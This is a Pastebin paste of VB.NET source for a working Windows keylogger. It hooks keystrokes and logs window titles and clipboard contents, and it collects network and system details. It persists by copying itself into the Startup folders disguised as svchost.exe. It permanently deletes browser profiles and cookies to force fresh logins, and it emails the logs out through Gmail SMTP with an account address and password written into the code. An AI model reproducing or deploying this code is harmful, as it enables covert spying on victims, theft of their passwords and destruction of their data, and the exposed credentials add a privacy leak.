Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.IO
- Imports System.ComponentModel
- Imports System.Net.Mail
- Imports Microsoft.Win32
- Public Class Form1
- Dim WithEvents K As New Keyboard
- Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
- Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
- Dim strin As String = Nothing
- Private Sub keyboardLanguages()
- For index = 0 To InputLanguage.InstalledInputLanguages.Count - 1 Step 1
- TextBox2.Text = InputLanguage.InstalledInputLanguages.Item(index).LayoutName.ToString + TextBox2.Text
- Next
- End Sub
- Private Function GetActiveWindowTitle() As String
- Dim MyStr As String
- MyStr = New String(Chr(0), 100)
- GetWindowText(GetForegroundWindow, MyStr, 100)
- MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
- Return MyStr
- End Function
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- If strin <> GetActiveWindowTitle() Then
- TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine + "[" + GetActiveWindowTitle() + "]" + vbNewLine + "--->" + Clipboard.GetText.ToString + "<---" + vbNewLine + vbNewLine
- strin = GetActiveWindowTitle()
- End If
- End Sub
- Private Sub K_Down(ByVal Key As String) Handles K.Down
- TextBox1.Text &= Key
- End Sub
- Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
- Try
- Dim file1 As String = Application.ExecutablePath
- Dim copy1 As String = "C:\Users\All Users\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe"
- If File.Exists(copy1) Then
- Else
- System.IO.File.Copy(file1, copy1)
- End If
- Catch ex As Exception
- End Try
- 'Windows 7 startup User
- Try
- Dim file1 As String = Application.ExecutablePath
- Dim copy1 As String = "C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe"
- If File.Exists(copy1) Then
- Else
- System.IO.File.Copy(file1, copy1)
- End If
- Catch ex As Exception
- End Try
- 'Windows XP startup User
- Try
- Dim file1 As String = Application.ExecutablePath
- Dim copy1 As String = "C:\Documents and Settings\" + Environment.UserName.ToString + "\Start Menu\Programs\Startup\svchost.exe"
- If File.Exists(copy1) Then
- Else
- System.IO.File.Copy(file1, copy1)
- End If
- Catch ex As Exception
- End Try
- End Sub
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- keyboardLanguages()
- Select Case (My.Settings.browser)
- Case 0
- My.Settings.browser = 1
- My.Settings.Save()
- My.Settings.Reload()
- Case 1
- Timer4.Start()
- Case 2
- Case Else
- End Select
- TextBox1.Text = Now() + vbNewLine + vbNewLine
- Try
- Dim myProcess As New Process()
- myProcess.StartInfo.UseShellExecute = False
- myProcess.StartInfo.RedirectStandardOutput = True
- Try
- myProcess.StartInfo.FileName = "ipconfig"
- myProcess.StartInfo.Arguments = "/all"
- myProcess.StartInfo.CreateNoWindow = True
- myProcess.Start()
- TextBox1.Text = TextBox1.Text + _
- Replace(myProcess.StandardOutput.ReadToEnd(), _
- Chr(13) & Chr(13), Chr(13))
- myProcess.WaitForExit()
- Catch ex As Win32Exception
- End Try
- Catch ex As Exception
- End Try
- Try
- TextBox1.Text = vbNewLine + vbNewLine + TextBox1.Text + vbNewLine + vbNewLine + "User Name: " + Environment.UserName.ToString
- TextBox1.Text = TextBox1.Text + vbNewLine + "Computer Name: " + Environment.MachineName.ToString
- TextBox1.Text = TextBox1.Text + vbNewLine + "Screen: " + My.Computer.Screen.WorkingArea.ToString
- TextBox1.Text = TextBox1.Text + vbNewLine + "OS Version: " + Environment.OSVersion.ToString
- TextBox1.Text = TextBox1.Text + vbNewLine + "Run Time: " + Environment.Version.ToString
- TextBox1.Text = TextBox1.Text + vbNewLine + "System Root: " + Environment.SystemDirectory.ToString
- TextBox1.Text = TextBox1.Text + vbNewLine + "User Domain Name: " + Environment.UserName.ToString
- TextBox1.Text = TextBox1.Text + vbNewLine + "Total Physical Memory: " + My.Computer.Info.TotalPhysicalMemory.ToString
- TextBox1.Text = TextBox1.Text + vbNewLine + "Remain Physical Memory: " + My.Computer.Info.AvailablePhysicalMemory.ToString
- TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine
- K.CreateHook()
- Timer1.Start()
- Timer2.Start()
- Catch ex As Exception
- End Try
- End Sub
- Private Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer4.Tick
- 'Windows 7
- ' Mozilla deletes folder and .ini file
- Try
- My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Mozilla\Firefox\Profiles", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
- System.IO.File.Delete("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Mozilla\Firefox\profiles.ini")
- Catch ex As Exception
- End Try
- ' Chrome deletes folder
- Try
- My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Local\Google\Chrome\User Data", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
- Catch ex As Exception
- End Try
- ' IE deletes folder
- Try
- My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Microsoft\Windows\Cookies", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
- Catch ex As Exception
- End Try
- ' Opera deletes folder
- Try
- My.Computer.FileSystem.DeleteDirectory("C:\Users\" + Environment.UserName.ToString + "\AppData\Roaming\Opera\Opera", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
- Catch ex As Exception
- End Try
- 'Windows XP
- ' Mozilla deletes folder and .ini file
- Try
- My.Computer.FileSystem.DeleteDirectory("C:\Documents and Settings\" + Environment.UserName.ToString + "\Application Data\Mozilla\Firefox\Profiles", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
- System.IO.File.Delete("C:\Documents and Settings\" + Environment.UserName.ToString + "\Application Data\Mozilla\Firefox\Profiles\profiles.ini")
- Catch ex As Exception
- End Try
- ' Chrome deletes folder
- Try
- My.Computer.FileSystem.DeleteDirectory("C:\Documents and Settings\" + Environment.UserName.ToString + "\Local Settings\Application Data\Google\Chrome\User Data", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
- Catch ex As Exception
- End Try
- ' IE deletes folder
- Try
- My.Computer.FileSystem.DeleteDirectory("C:\Documents and Settings\" + Environment.UserName.ToString + "\Cookies", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
- Catch ex As Exception
- End Try
- ' IE deletes folder2
- Try
- My.Computer.FileSystem.DeleteDirectory("C:\Documents and Settings\" + Environment.UserName.ToString + "\Local Settings\Temp", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
- Catch ex As Exception
- End Try
- ' Opera deletes folder
- Try
- My.Computer.FileSystem.DeleteDirectory("C:\Documents and Settings\" + Environment.UserName.ToString + "\Application Data\Opera\Opera", FileIO.UIOption.OnlyErrorDialogs, FileIO.RecycleOption.DeletePermanently)
- Catch ex As Exception
- End Try
- My.Settings.browser = 2
- My.Settings.Save()
- My.Settings.Reload()
- Timer4.Stop()
- End Sub
- Private Sub Form1_FormClosing(ByVal sender As System.Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles MyBase.FormClosing
- Try
- Dim MyMailMessage As New MailMessage()
- MyMailMessage.From = New MailAddress("abdieatsshit@gmail.com")
- MyMailMessage.To.Add("abdieatsshit@gmail.com")
- MyMailMessage.Subject = Environment.UserName.ToString + " Turned Off Part: " + My.Settings.part.ToString
- MyMailMessage.Body = TextBox1.Text
- Dim SMTPServer As New SmtpClient("smtp.gmail.com")
- SMTPServer.Port = 587
- SMTPServer.Credentials = New System.Net.NetworkCredential("abdieatsshit@gmail.com", "kimmokuu1")
- SMTPServer.EnableSsl = True
- SMTPServer.Send(MyMailMessage)
- Catch ex As Exception
- End Try
- My.Settings.part = My.Settings.part + 1
- My.Settings.Save()
- My.Settings.Reload()
- End Sub
- Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
- Try
- Timer1.Stop()
- Dim MyMailMessage As New MailMessage()
- MyMailMessage.From = New MailAddress("abdieatsshit@gmail.com")
- MyMailMessage.To.Add("abdieatsshit@gmail.com")
- MyMailMessage.Subject = Environment.UserName.ToString + " Part: " + My.Settings.part.ToString + " " + TextBox2.Text
- MyMailMessage.Body = "Compare Info: " + My.Computer.Info.InstalledUICulture.CompareInfo.ToString + vbNewLine + _
- "Display Name: " + My.Computer.Info.InstalledUICulture.DisplayName.ToString + vbNewLine + _
- "English Name: " + My.Computer.Info.InstalledUICulture.EnglishName.ToString + vbNewLine + _
- "Left Language Tag: " + My.Computer.Info.InstalledUICulture.IetfLanguageTag.ToString + vbNewLine + _
- "Name: " + My.Computer.Info.InstalledUICulture.Name.ToString + vbNewLine + _
- "Native Name: " + My.Computer.Info.InstalledUICulture.NativeName.ToString + vbNewLine + _
- "Text Info: " + My.Computer.Info.InstalledUICulture.TextInfo.ToString + vbNewLine + _
- "3 Letter ISO Language Name: " + My.Computer.Info.InstalledUICulture.ThreeLetterISOLanguageName.ToString + vbNewLine + _
- "3 Letter Windows Language Name: " + My.Computer.Info.InstalledUICulture.ThreeLetterWindowsLanguageName.ToString + vbNewLine + _
- "2 Letter ISO Language Name: " + My.Computer.Info.InstalledUICulture.TwoLetterISOLanguageName.ToString + vbNewLine + vbNewLine + vbNewLine + TextBox1.Text
- Dim SMTPServer As New SmtpClient("smtp.gmail.com")
- SMTPServer.Port = 587
- SMTPServer.Credentials = New System.Net.NetworkCredential("abdieatsshit@gmail.com", "kimmokuu1")
- SMTPServer.EnableSsl = True
- SMTPServer.Send(MyMailMessage)
- TextBox1.Clear()
- Timer1.Start()
- Catch ex As Exception
- End Try
- My.Settings.part = My.Settings.part + 1
- My.Settings.Save()
- My.Settings.Reload()
- End Sub
- End Class
- Public Class Keyboard
- Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal Hook As Integer, ByVal KeyDelegate As KDel, ByVal HMod As Integer, ByVal ThreadId As Integer) As Integer
- Private Declare Function CallNextHookEx Lib "user32" (ByVal Hook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
- Private Declare Function UnhookWindowsHookEx Lib "user32" Alias "UnhookWindowsHookEx" (ByVal Hook As Integer) As Integer
- Private Delegate Function KDel(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
- Public Shared Event Down(ByVal Key As String)
- Public Shared Event Up(ByVal Key As String)
- Private Shared Key As Integer
- Private Shared KHD As KDel
- Private Structure KeyStructure : Public Code As Integer : Public ScanCode As Integer : Public Flags As Integer : Public Time As Integer : Public ExtraInfo As Integer : End Structure
- Public Sub CreateHook()
- KHD = New KDel(AddressOf Proc)
- Key = SetWindowsHookEx(13, KHD, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
- End Sub
- Private Function Proc(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
- If (Code = 0) Then
- Select Case wParam
- Case &H100, &H104 : RaiseEvent Down(Feed(CType(lParam.Code, Keys)))
- Case &H101, &H105 : RaiseEvent Up(Feed(CType(lParam.Code, Keys)))
- End Select
- End If
- Return CallNextHookEx(Key, Code, wParam, lParam)
- End Function
- Public Sub DiposeHook()
- UnhookWindowsHookEx(Key)
- MyBase.Finalize()
- End Sub
- Private Function Feed(ByVal e As Keys) As String
- Select Case e
- Case 65 To 90
- If Control.IsKeyLocked(Keys.CapsLock) Or (Control.ModifierKeys And Keys.Shift) <> 0 Then
- Return e.ToString
- Else
- Return e.ToString.ToLower
- End If
- Case 48 To 57
- If (Control.ModifierKeys And Keys.Shift) <> 0 Then
- Select Case e.ToString
- Case "D1" : Return "!"
- Case "D2" : Return "@"
- Case "D3" : Return "#"
- Case "D4" : Return "$"
- Case "D5" : Return "%"
- Case "D6" : Return "^"
- Case "D7" : Return "&"
- Case "D8" : Return "*"
- Case "D9" : Return "("
- Case "D0" : Return ")"
- End Select
- Else
- Return e.ToString.Replace("D", Nothing)
- End If
- Case 96 To 105
- Return e.ToString.Replace("NumPad", Nothing)
- Case 106 To 111
- Select Case e.ToString
- Case "Divide" : Return "/"
- Case "Multiply" : Return "*"
- Case "Subtract" : Return "-"
- Case "Add" : Return "+"
- Case "Decimal" : Return "."
- End Select
- Case 32
- Return " "
- Case 186 To 222
- If (Control.ModifierKeys And Keys.Shift) <> 0 Then
- Select Case e.ToString
- Case "OemMinus" : Return "_"
- Case "Oemplus" : Return "+"
- Case "OemOpenBrackets" : Return "{"
- Case "Oem6" : Return "}"
- Case "Oem5" : Return "|"
- Case "Oem1" : Return ":"
- Case "Oem7" : Return """"
- Case "Oemcomma" : Return "<"
- Case "OemPeriod" : Return ">"
- Case "OemQuestion" : Return "?"
- Case "Oemtilde" : Return "~"
- End Select
- Else
- Select Case e.ToString
- Case "OemMinus" : Return "-"
- Case "Oemplus" : Return "="
- Case "OemOpenBrackets" : Return "["
- Case "Oem6" : Return "]"
- Case "Oem5" : Return ""
- Case "Oem1" : Return ";"
- Case "Oem7" : Return "'"
- Case "Oemcomma" : Return ","
- Case "OemPeriod" : Return "."
- Case "OemQuestion" : Return "/"
- Case "Oemtilde" : Return "`"
- End Select
- End If
- Case Keys.Return
- Return Environment.NewLine
- Case Else
- Return "<" + e.ToString + ">"
- End Select
- Return Nothing
- End Function
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement